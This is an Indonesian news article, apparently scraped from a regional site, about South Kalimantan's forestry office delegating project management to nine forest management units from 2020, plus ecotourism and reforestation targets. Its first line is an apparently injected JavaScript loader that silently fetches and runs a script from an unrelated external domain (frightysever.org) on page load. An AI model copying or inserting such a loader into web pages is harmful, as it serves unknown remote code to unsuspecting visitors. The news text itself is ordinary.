(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Tahun 2020 Pengelolaan Proyek Dishut Kalsel Akan Dilimpahkan ke KPH


BANJARBARU, Dinas Kehutanan Kalsel akan melimpahkan kewenangan pengelolaan proyek ke Kesatuan Pemangku Hutan (KPH) se-Kalsel. Rencana ini paling cepat diterapkan tahun anggaran 2020.

Menurut Kepala Dinas Kehutanan Kalsel, Hanif Faisol Nurofiq, ada sembilan KPH se-Kalsel yang akan punya wewenang penuh mengelola proyek di wilayah kerja. Langkah ini bertujuan memberi porsi lebih besar kepada Dinas Kehutanan dalam hal evaluasi dan monitoring setiap proyek kehutanan.

“Dinas Kehutanan provinsi hanya evaluasi dan pengawasan proyek,  semua operasional proyek di KPH. Proyek-proyek semua di KPH, misalkan pemeliharaan taman di kiri-kanan jalan. Mulai tahun 2020 diharapkan sudah berjalan,” ucap Hanif Faisol Nurofiq saat pra rapat koordinasi perencanaan pembangunan kehutanan daerah 2019 Kalsel di Bapelkes, Senin (4/2).

Hanif berharap pola semacam ini makin optimal mengawasi setiap proyek perhutanan. Sebab, ia merasa selama ini tugas Dinas Kehutanan cukup berat sehingga butuh delegasi wewenang ke KPH.

Ia mengimbau KPH serius memberdayakan masyarakat dan potensi hutan dengan mengaktifkan kelompok tani hutan. Hanif meyakini kelompok tani hutan paling optimal memanfaatkan sumber daya hutan. Selain itu, Hanif meminta KPH tidak terjebak dalam target perhutanan sosial yang digagas pemerintah pusat.

“Kita jangan terjebak perhutanan sosial, tapi harus meningkatkan ekonomi desa, segera diaktualisasikan. Kehadiran kita harus mampu meningkatkan ekonomi desa, bukan sekedar perhutanan sosial,” ucap Hanif.

Ia pun mendorong KPH mengoptimalkan 45 ekowisata sebagai ladang pemberdayaan masyarakat desa. Pihaknya sudah mengucurkan dana untuk desain tapak ekowisata. Dalam waktu dekat, Hanif menarget lima ekowisata sudah mendatangkan keekonomian bagi warga desa.

“45 ekowisata harus jalan. KPH tinggal menyusun rencana, kalau enggak punya duit, Lapor ke kadis. Penyuluh harus terlatih,” Hanif melanjutkan.

Dalam rapat, Hanif turut menyinggung delapan IPPKH terancam dicabut Kementerian Lingkungan Hidup dan Kehutanan karena tidak aktif. Hanif telah mengusulkan pencabutan delapan IPPKH tersebut. Apabila dicabut, kata Hanif, maka memperluas area kerja KPH se-Kalsel. “Hutan alam kita makin luas, paling tidak 4 ribu hektare bisa ditanami,” ucapnya.

Pada 2018, Dinas Kehutanan Kalsel merealisasikan penghijauan terhadap 29.500 hektare lahan dari target 32 ribu hektare. Menurut dia, revolusi hijau menargetkan 500 ribu lahan kritis Kalsel lenyap dalam 20 tahun.(rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

15 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

20 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

20 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

2 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.